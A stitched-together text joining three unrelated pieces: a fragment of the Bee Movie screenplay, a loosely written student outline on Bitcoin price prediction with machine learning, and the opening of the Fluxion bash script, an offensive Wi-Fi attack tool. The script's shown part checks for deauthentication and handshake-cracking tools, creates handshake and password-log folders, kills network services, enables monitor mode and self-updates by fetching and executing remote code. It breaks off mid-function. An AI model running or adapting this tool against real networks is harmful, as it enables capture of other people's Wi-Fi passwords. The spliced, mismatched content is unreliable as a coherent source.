I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And
ananya2001gupta / Bitcoin Price Prediction Using AI ML.Identify the software project, create business case, arrive at a problem statement. REQUIREMENT: Window XP, Internet, MS Office, etc. Problem Description: - 1. Introduction of AI and Machine Learning: - Artificial Intelligence applies machine learning, deep learning and other techniques to solve actual problems. Artificial intelligence (AI) brings the genuine human-to-machine interaction. Simply, Machine Learning is the algorithm that give computers the ability to learn from data and then make decisions and predictions, AI refers to idea where machines can execute tasks smartly. It is a faster process in learning the risk factors, and profitable opportunities. They have a feature of learning from their mistakes and experiences. When Machine learning is combined with Artificial Intelligence, it can be a large field to gather an immense amount of information and then rectify the errors and learn from further experiences, developing in a smarter, faster and accuracy handling technique. The main difference between Machine Learning and Artificial Intelligence is , If it is written in python then it is probably machine learning, If it is written in power point then it is artificial intelligence. As there are many existing projects that are implemented using AI and Machine Learning , And one of the project i.e., Bitcoin Price Prediction :- Bitcoin (₿ ) (founder - Satoshi Nakamoto , Ledger start: 3 January 2009 ) is a digital currency, a type of electronic money. It is decentralized advanced cash without a national bank or single chairman that can be sent from client to client on the shared Bitcoin arrange without middle people's requirement. Machine learning models can likely give us the insight we need to learn about the future of Cryptocurrency. It will not tell us the future but it might tell us the general trend and direction to expect the prices to move. These machine learning models predict the future of Bitcoin by coding them out in Python. Machine learning and AI-assisted trading have attracted growing interest for the past few years. this approach is to test the hypothesis that the inefficiency of the cryptocurrency market can be exploited to generate abnormal profits. the application of machine learning algorithms to the cryptocurrency market has been limited so far to the analysis of Bitcoin prices, using random forests , Bayesian neural network , long short-term memory neural network , and other algorithms. 2. Applications/Scope of AI and Machine Learning :- a) Sentiment Analysis :- It is the classification of subjective opinions or emotions (positive, negative, and neutral) within text data using natural language processing. b) It is Characterized as a use of computerized reasoning where accessible data is utilized through calculations to process or help the handling of factual information. BITCOIN PRICE PREDICTION USING AI AND MACHINE LEARNING: - The main aim of this is to find the actual Bitcoin price in US dollars can be predicted. The chance to make a model equipped for anticipating digital currencies fundamentally Bitcoin. # It works the prediction by taking the coinMarkup cap. # CoinMarketCap provides with historical data for Bitcoin price changes, keep a record of all the transactions by recording the amount of coins in circulation and the volume of coins traded in the last 24-hours. # Quandl is used to filter the dataset by using the MAT Lab properties. 3. Problem statement: - Some AI and Machine Learning problem statements are: - a) Data Privacy and Security: Once a company has dug up the data, privacy and security is eye-catching aspect that needs to be taken care of. b) Data Scarcity: The data is a very important aspect of AI, and labeled data is used to train machines to learn and make predictions. c) Data acquisition: In the process of machine learning, a large amount of data is used in the process of training and learning. d) High error susceptibility: In the process of artificial intelligence and machine learning, the high amount of data is used. Some problem statements of Bitcoin Price Prediction using AI and Machine Learning: - a) Experimental Phase Risk: It is less experimental than other counterparts. In addition, relative to traditional assets, its level can be assessed as high because this asset is not intended for conservative investors. b) Technology Risks: There is a technological risk to other cryptocurrencies in the form of the potential appearance of a more advanced cryptocurrency. Investors may simply not notice the moment when their virtual assets lose their real value. c) Price Variability: The variability of the value of cryptocurrency are the large volumes of exchange trading, the integration of Bitcoin with various companies, legislative initiatives of regulatory bodies and many other, sometimes disregarded phenomena. d) Consumer Protection: The property of the irreversibility of transactions in itself has little effect on the risks of investing in Bitcoin as an asset. e) Price Fluctuation Prediction: Since many investors care more about whether the sudden rise or fall is worth following. Bitcoin price often fluctuates by more than 10% (or even more than 30%) at some times. f) Lacks Government Regulation: Regulators in traditional financial markets are basically missing in the field of cryptocurrencies. For instance, fake news frequently affects the decisions of individual investors. g) It is difficult to use large interval data (e.g., day-level, and month-level data) . h) The change time of mining difficulties is much longer. Moreover, do not consider the news information since it is hard to determine the authenticity of a news or predict the occurrence of emergencies.
Emersonmafra / F#!/bin/bash ########## DEBUG Mode ########## if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0 else FLUX_DEBUG=1 fi ################################ ####### preserve network ####### if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0 else KEEP_NETWORK=1 fi ################################ ###### AUTO CONFIG SETUP ####### if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0 else FLUX_AUTO=1 fi ################################ if [[ $EUID -ne 0 ]]; then echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m""" exit 1 fi if [ -z "${DISPLAY:-}" ]; then echo -e "\e[1;31mThe script should be exected inside a X (graphical) session.""\e[0m""" exit 1 fi clear ##################################### < CONFIGURATION > ##################################### DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" WORK_DIR=`pwd` DEAUTHTIME="9999999999999" revision=9 version=2 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) #Colors white="\033[1;37m" grey="\033[0;37m" purple="\033[0;35m" red="\033[1;31m" green="\033[1;32m" yellow="\033[1;33m" Purple="\033[0;35m" Cyan="\033[0;36m" Cafe="\033[0;33m" Fiuscha="\033[0;35m" blue="\033[1;34m" transparent="\e[0m" general_back="Back" general_error_1="Not_Found" general_case_error="Unknown option. Choose again" general_exitmode="Cleaning and closing" general_exitmode_1="Disabling monitoring interface" general_exitmode_2="Disabling interface" general_exitmode_3="Disabling "$grey"forwarding of packets" general_exitmode_4="Cleaning "$grey"iptables" general_exitmode_5="Restoring "$grey"tput" general_exitmode_6="Restarting "$grey"Network-Manager" general_exitmode_7="Cleanup performed successfully!" general_exitmode_8="Thanks for using fluxion" ############################################################################################# # DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode] if [ $FLUX_DEBUG = 1 ]; then ## Developer Mode export flux_output_device=/dev/stdout HOLD="-hold" else ## Normal Mode export flux_output_device=/dev/null HOLD="" fi # Delete Log only in Normal Mode ! function conditional_clear() { if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi } function airmon { chmod +x lib/airmon/airmon.sh } airmon # Check Updates function checkupdatess { revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else echo "$revision_online">$DUMP_PATH/Irev fi } # Animation function spinner { local pid=$1 local delay=0.15 local spinstr='|/-\' while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do local temp=${spinstr#?} printf " [%c] " "$spinstr" local spinstr=$temp${spinstr%"$temp"} sleep $delay printf "\b\b\b\b\b\b" done printf " \b\b\b\b" } # ERROR Report only in Developer Mode function err_report { echo "Error on line $1" } if [ $FLUX_DEBUG = 1 ]; then trap 'err_report $LINENUM' ERR fi #Function to executed in case of unexpected termination trap exitmode SIGINT SIGHUP source lib/exitmode.sh #Languages for the web interface source language/source # Design function top(){ conditional_clear echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]" echo -e "$red[ ]" echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" echo -e "$blue[ ]" echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent" echo echo } ############################################## < START > ############################################## # Check requirements function checkdependences { echo -ne "aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "nmap............" if ! [ -f /usr/bin/nmap ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "php-cgi........." if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "openssl........." if ! hash openssl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "rfkill.........." if ! hash rfkill 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "strings........." if ! hash strings 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (binutils)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "fuser..........." if ! hash fuser 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (psmisc)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 if [ "$exit" = "1" ]; then exit 1 fi sleep 1 clear } top checkdependences # Create working directory if [ ! -d $DUMP_PATH ]; then mkdir -p $DUMP_PATH &>$flux_output_device fi # Create handshake directory if [ ! -d $HANDSHAKE_PATH ]; then mkdir -p $HANDSHAKE_PATH &>$flux_output_device fi #create password log directory if [ ! -d $PASSLOG_PATH ]; then mkdir -p $PASSLOG_PATH &>$flux_output_device fi if [ $FLUX_DEBUG != 1 ]; then clear; echo "" sleep 0.01 && echo -e "$red " sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ " sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ " sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ " sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ " sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ " sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ " echo"" sleep 0.1 echo -e $red" FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" ghost" sleep 0.1 echo -e $green " Page:"$red"https://github.com/FluxionNetwork/fluxion "$transparent sleep 0.1 echo -n " Latest rev." tput civis checkupdatess & spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${purple}${revision_online}$white"$transparent"]" if [ "$revision_online" != "?" ]; then if [ "$revision" -lt "$revision_online" ]; then echo echo echo -ne $red" New revision found! "$yellow echo -ne "Update? [Y/n]: "$transparent read -N1 doupdate echo -ne "$transparent" doupdate=${doupdate:-"Y"} if [ "$doupdate" = "Y" ]; then cp $0 $HOME/flux_rev-$revision.backup curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0 echo echo echo -e ""$red"Updated successfully! Restarting the script to apply the changes ..."$transparent"" sleep 3 chmod +x $0 exec $0 exit fi fi fi echo "" tput cnorm sleep 1 fi # Show info for the selected AP function infoap { Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` echo "INFO WIFI" echo echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" echo -e " "$blue"Channel"$transparent" = $channel" echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)" echo } ############################################### < MENU > ############################################### # Windows + Resolution function setresolution { function resA { TOPLEFT="-geometry 90x13+0+0" TOPRIGHT="-geometry 83x26-0+0" BOTTOMLEFT="-geometry 90x24+0-0" BOTTOMRIGHT="-geometry 75x12-0-0" TOPLEFTBIG="-geometry 91x42+0+0" TOPRIGHTBIG="-geometry 83x26-0+0" } function resB { TOPLEFT="-geometry 92x14+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 92x36+0-0" BOTTOMRIGHT="-geometry 74x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 74x30-0+0" } function resC { TOPLEFT="-geometry 100x20+0+0" TOPRIGHT="-geometry 109x20-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 109x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 109x30-0+0" } function resD { TOPLEFT="-geometry 110x35+0+0" TOPRIGHT="-geometry 99x40-0+0" BOTTOMLEFT="-geometry 110x35+0-0" BOTTOMRIGHT="-geometry 99x30-0-0" TOPLEFTBIG="-geometry 110x72+0+0" TOPRIGHTBIG="-geometry 99x40-0+0" } function resE { TOPLEFT="-geometry 130x43+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 130x40+0-0" BOTTOMRIGHT="-geometry 132x35-0-0" TOPLEFTBIG="-geometry 130x85+0+0" TOPRIGHTBIG="-geometry 132x48-0+0" } function resF { TOPLEFT="-geometry 100x17+0+0" TOPRIGHT="-geometry 90x27-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 90x20-0-0" TOPLEFTBIG="-geometry 100x70+0+0" TOPRIGHTBIG="-geometry 90x27-0+0" } detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) ## A) 1024x600 ## B) 1024x768 ## C) 1280x768 ## D) 1280x1024 ## E) 1600x1200 case $detectedresolution in "1024x600" ) resA ;; "1024x768" ) resB ;; "1280x768" ) resC ;; "1366x768" ) resC ;; "1280x1024" ) resD ;; "1600x1200" ) resE ;; "1366x768" ) resF ;; * ) resA ;; esac language; setinterface } function language { iptables-save > $DUMP_PATH/iptables-rules conditional_clear if [ "$FLUX_AUTO" = "1" ];then source $WORK_DIR/language/en; setinterface else while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" English " echo -e " "$red"["$yellow"2"$red"]"$transparent" German " echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian " echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish " echo -e " "$red"["$yellow"5"$red"]"$transparent" Spanish " echo -e " "$red"["$yellow"6"$red"]"$transparent" Chinese " echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian " echo -e " "$red"["$yellow"8"$red"]"$transparent" Czech " echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek " echo -e " "$red"["$yellow"10"$red"]"$transparent" French " echo -e " "$red"["$yellow"11"$red"]"$transparent" Slovenian " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) source $WORK_DIR/language/en; break;; 2 ) source $WORK_DIR/language/ger; break;; 3 ) source $WORK_DIR/language/ro; break;; 4 ) source $WORK_DIR/language/tu; break;; 5 ) source $WORK_DIR/language/esp; break;; 6 ) source $WORK_DIR/language/ch; break;; 7 ) source $WORK_DIR/language/it; break;; 8 ) source $WORK_DIR/language/cz break;; 9 ) source $WORK_DIR/language/gr; break;; 10 ) source $WORK_DIR/language/fr; break;; 11 ) source $WORK_DIR/language/svn; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose Interface function setinterface { conditional_clear top #unblock interfaces rfkill unblock all # Collect all interfaces in montitor mode & stop all KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` for monkill in ${KILLMONITOR[@]}; do airmon-ng stop $monkill >$flux_output_device echo -n "$monkill, " done # Create a variable with the list of physical network interfaces readarray -t wirelessifaces < <(./lib/airmon/airmon.sh |grep "-" | cut -d- -f1) INTERFACESNUMBER=`./lib/airmon/airmon.sh | grep -c "-"` if [ "$INTERFACESNUMBER" -gt "0" ]; then if [ "$INTERFACESNUMBER" -eq "1" ]; then PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}') else echo $header_setinterface echo i=0 for line in "${wirelessifaces[@]}"; do i=$(($i+1)) wirelessifaces[$i]=$line echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line" done if [ "$FLUX_AUTO" = "1" ];then line="1" else echo echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read line fi PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') fi if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then conditional_clear top setinterface fi readarray -t naggysoftware < <(./lib/airmon/airmon.sh check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') WIFIDRIVER=$(./lib/airmon/airmon.sh | grep "$PREWIFI" | awk '{print($(NF-2))}') if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 fi if [ $KEEP_NETWORK = 0 ]; then for nagger in "${naggysoftware[@]}"; do killall "$nagger" &>$flux_output_device done sleep 0.5 fi if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 sleep 0.5 fi # Select Wifi Interface select PREWIFI in $INTERFACES; do break; done WIFIMONITOR=$(./lib/airmon/airmon.sh start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI #No wireless cards else echo $setinterface_error sleep 5 exitmode fi ghost } # Check files function ghost { conditional_clear CSVDB=dump-01.csv rm -rf $DUMP_PATH/* choosescan selection } # Select channel function choosescan { if [ "$FLUX_AUTO" = "1" ];then Scan else conditional_clear while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1 " echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 " echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) Scan ; break ;; 2 ) Scanchan ; break ;; 3 ) setinterface; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose your channel if you choose option 2 before function Scanchan { conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan " echo " " echo -e " 